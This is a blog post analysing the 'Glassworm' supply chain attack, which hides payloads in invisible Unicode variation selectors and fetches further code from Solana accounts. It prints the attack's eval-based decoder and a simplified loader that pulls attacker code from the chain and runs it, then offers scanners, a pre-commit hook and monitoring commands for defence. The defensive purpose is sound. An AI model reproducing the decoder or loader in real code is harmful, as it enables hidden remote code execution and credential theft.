DEV Community

ohmygod
ohmygod

Posted on

Glassworm: How Invisible Unicode Characters and Solana Are Powering the Biggest Supply Chain Attack of 2026

Glassworm: How Invisible Unicode Characters and Solana Are Powering the Biggest Supply Chain Attack of 2026

Between March 3–9, 2026, a threat actor known as Glassworm compromised over 150 GitHub repositories, multiple npm packages, and VS Code extensions — all using characters you literally cannot see. The payloads use Solana as a command-and-control delivery channel. If you write JavaScript or use open source packages, you need to understand this attack.

The Attack: What You Can't See Can Drain You

Glassworm exploits Private Use Area (PUA) Unicode characters — specifically ranges U+FE00–U+FE0F and U+E0100–U+E01EF — that render as completely invisible in every major code editor, terminal, and GitHub's code review interface.

Here's the decoder that turns invisible characters into executable code:

const s = v => [...v].map(w => (
  w = w.codePointAt(0),
  w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
  w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);

eval(Buffer.from(s(``)).toString('utf-8'));
Enter fullscreen mode Exit fullscreen mode

That empty-looking string inside the backticks? It's packed with invisible Unicode characters. When decoded, they produce a full malicious payload that:

  1. Fetches instructions from a Solana account (not a traditional C2 server)
  2. Steals tokens, credentials, and secrets from the developer's environment
  3. Exfiltrates data through the same Solana-based channel

Why Solana as a C2 Channel?

Traditional malware uses HTTP endpoints for command-and-control. Those get taken down. Glassworm is smarter:

  • Solana accounts are censorship-resistant — no hosting provider to report to
  • On-chain data is permanent — payloads survive takedown attempts
  • Blockchain reads are free — no rate limits, no IP logging
  • Domain reputation tools are blind — security scanners don't flag Solana RPC calls

Here's what the second-stage loader typically looks like:

// Decoded payload (simplified)
const { Connection, PublicKey } = require('@solana/web3.js');

async function fetchPayload() {
  const conn = new Connection('https://api.mainnet-beta.solana.com');
  const accountKey = new PublicKey('GlA5w0rm...'); // Attacker's account
  const info = await conn.getAccountInfo(accountKey);

  // Account data contains the actual malicious script
  const payload = info.data.toString('utf-8');
  eval(payload); // Execute attacker's code
}

fetchPayload();
Enter fullscreen mode Exit fullscreen mode

The attacker stores their malicious scripts as Solana account data. Updating the attack is as simple as a Solana transaction — no domain changes, no new infrastructure.

The Scale: 151+ Repositories Compromised

The March 2026 wave hit real, trusted projects:

Repository Stars Impact
pedronauck/reworm 1,460 State management library
anomalyco/opencode-bench 56 AI coding benchmark (from SST org)
wasmer-examples/hono-wasmer-starter 8 Official Wasmer example
doczjs/docz-plugin-css 39 Documentation tooling

Additionally, npm packages like @aifabrix/miso-client and @iflow-mcp/watercrawl-watercrawl-mcp were published with Glassworm payloads on March 12, 2026. A VS Code extension (quartz.quartz-markdown-editor) was also infected.

AI-Generated Cover Commits

What makes this campaign particularly dangerous: the malicious commits are wrapped in AI-generated cover changes — documentation tweaks, version bumps, small refactors that are stylistically consistent with each target project.

At 151+ different codebases, manual crafting isn't feasible. Glassworm is almost certainly using LLMs to:

  1. Analyze the target repo's coding style
  2. Generate convincing "normal" changes
  3. Embed the invisible payload within legitimate-looking commits

This is a preview of AI-assisted supply chain warfare — where social engineering scales through automation.

Detection: 5 Defenses You Need Now

1. Hex-Level Code Review for Dependencies

Visual review is useless against invisible characters. Use hex dumps:

# Check for PUA Unicode in your codebase
grep -rn $'\xef\xb8\x80\|\xef\xb8\x81\|\xef\xb8\x82\|\xef\xb8\x83' .

# Or use a broader scan for variation selectors
find . -name "*.js" -o -name "*.ts" | xargs -I{} python3 -c "
import sys
with open('{}', 'rb') as f:
    data = f.read()
    for i, b in enumerate(data):
        if 0xFE00 <= ord(data[i:i+1].decode('utf-8', errors='ignore')) <= 0xFE0F:
            print(f'ALERT: PUA Unicode found in {} at byte {i}')
" 2>/dev/null
Enter fullscreen mode Exit fullscreen mode

2. A More Robust Scanner (Python)

#!/usr/bin/env python3
"""Scan files for Glassworm-style invisible Unicode payloads."""
import os
import sys

# Glassworm signature ranges
SUSPICIOUS_RANGES = [
    (0xFE00, 0xFE0F),    # Variation Selectors
    (0xE0100, 0xE01EF),  # Variation Selectors Supplement
    (0x200B, 0x200F),    # Zero-width characters
    (0x2028, 0x2029),    # Line/paragraph separators
    (0xFEFF, 0xFEFF),    # BOM (when mid-file)
    (0x00AD, 0x00AD),    # Soft hyphen
]

GLASSWORM_DECODER = "0xFE00"  # Signature string in decoder

def is_suspicious(cp: int) -> bool:
    return any(lo <= cp <= hi for lo, hi in SUSPICIOUS_RANGES)

def scan_file(path: str) -> list:
    findings = []
    try:
        with open(path, 'r', encoding='utf-8', errors='ignore') as f:
            for lineno, line in enumerate(f, 1):
                # Check for decoder signature
                if GLASSWORM_DECODER in line:
                    findings.append((lineno, "CRITICAL", "Glassworm decoder pattern detected"))

                # Count invisible characters
                invisible = [(i, hex(ord(c))) for i, c in enumerate(line) if is_suspicious(ord(c))]
                if len(invisible) > 3:  # Threshold: 3+ invisible chars = suspicious
                    findings.append((lineno, "HIGH", f"{len(invisible)} invisible Unicode chars found"))
    except Exception as e:
        findings.append((0, "ERROR", str(e)))
    return findings

def main():
    target = sys.argv[1] if len(sys.argv) > 1 else "."
    extensions = {'.js', '.ts', '.mjs', '.cjs', '.jsx', '.tsx', '.json'}

    total_findings = 0
    for root, _, files in os.walk(target):
        if 'node_modules' in root:
            continue
        for fname in files:
            if any(fname.endswith(ext) for ext in extensions):
                path = os.path.join(root, fname)
                findings = scan_file(path)
                for lineno, severity, msg in findings:
                    print(f"[{severity}] {path}:{lineno}{msg}")
                    total_findings += 1

    print(f"\nScan complete: {total_findings} finding(s)")
    sys.exit(1 if total_findings else 0)

if __name__ == "__main__":
    main()
Enter fullscreen mode Exit fullscreen mode

3. Git Hook Prevention

Block invisible Unicode at commit time:

#!/bin/bash
# .git/hooks/pre-commit — Block Glassworm-style payloads

SUSPICIOUS=0

for file in $(git diff --cached --name-only --diff-filter=ACM | grep -E '\.(js|ts|jsx|tsx|mjs|cjs)$'); do
    # Check for variation selectors (Glassworm signature)
    if python3 -c "
import sys
with open('$file', 'r') as f:
    text = f.read()
    suspicious = sum(1 for c in text if 0xFE00 <= ord(c) <= 0xFE0F or 0xE0100 <= ord(c) <= 0xE01EF)
    sys.exit(0 if suspicious == 0 else 1)
" 2>/dev/null; then
        continue
    else
        echo "🚨 BLOCKED: Invisible Unicode detected in $file"
        SUSPICIOUS=1
    fi
done

if [ $SUSPICIOUS -eq 1 ]; then
    echo "Commit blocked: Glassworm-style invisible payload detected."
    echo "Run 'python3 glassworm_scanner.py' for details."
    exit 1
fi
Enter fullscreen mode Exit fullscreen mode

4. Lock Your Solana RPC Calls

If you're a Solana developer, monitor outbound RPC calls from your dev environment:

# Monitor for unexpected Solana RPC calls from Node.js processes
sudo tcpdump -i any -A 'port 443' | grep -E 'api\.mainnet-beta\.solana\.com|getAccountInfo'
Enter fullscreen mode Exit fullscreen mode

5. Use Lockfiles + Integrity Checks

# Verify npm package integrity against known-good checksums
npm audit signatures

# Pin exact versions in package-lock.json
npm config set save-exact true

# Use npm's built-in provenance verification
npm audit --production
Enter fullscreen mode Exit fullscreen mode

The Bigger Picture: Blockchain as Malware Infrastructure

Glassworm represents a paradigm shift in supply chain attacks:

Traditional C2 Blockchain C2 (Glassworm)
HTTP servers — takedowns work Solana accounts — censorship-resistant
Domain blocklists effective No domains to block
IP reputation catches anomalies RPC calls look normal
Payload updates require new infra Just send a Solana transaction
Single point of failure Decentralized, persistent

We're entering an era where the same properties that make blockchains valuable for DeFi — censorship resistance, immutability, permissionless access — also make them ideal malware infrastructure.

Security tooling needs to evolve. Static analysis should flag:

  • Invisible Unicode above a threshold in any source file
  • Dynamic imports from blockchain RPC endpoints
  • eval() calls with decoded buffer inputs
  • Variation selector codepoints in string literals

Action Items

  1. Right now: Run the scanner above on your codebase and node_modules
  2. Today: Add the Git pre-commit hook to all active repositories
  3. This week: Review your CI pipeline for dependency integrity checks
  4. Ongoing: Monitor Aikido's Safe Chain or similar tools for real-time supply chain scanning

The attack surface has shifted. Smart contract exploits get the headlines, but your IDE might be the real vulnerability.


This article is part of my DeFi Security Research series. Follow for weekly deep dives into blockchain security threats, audit techniques, and defense patterns.

Top comments (0)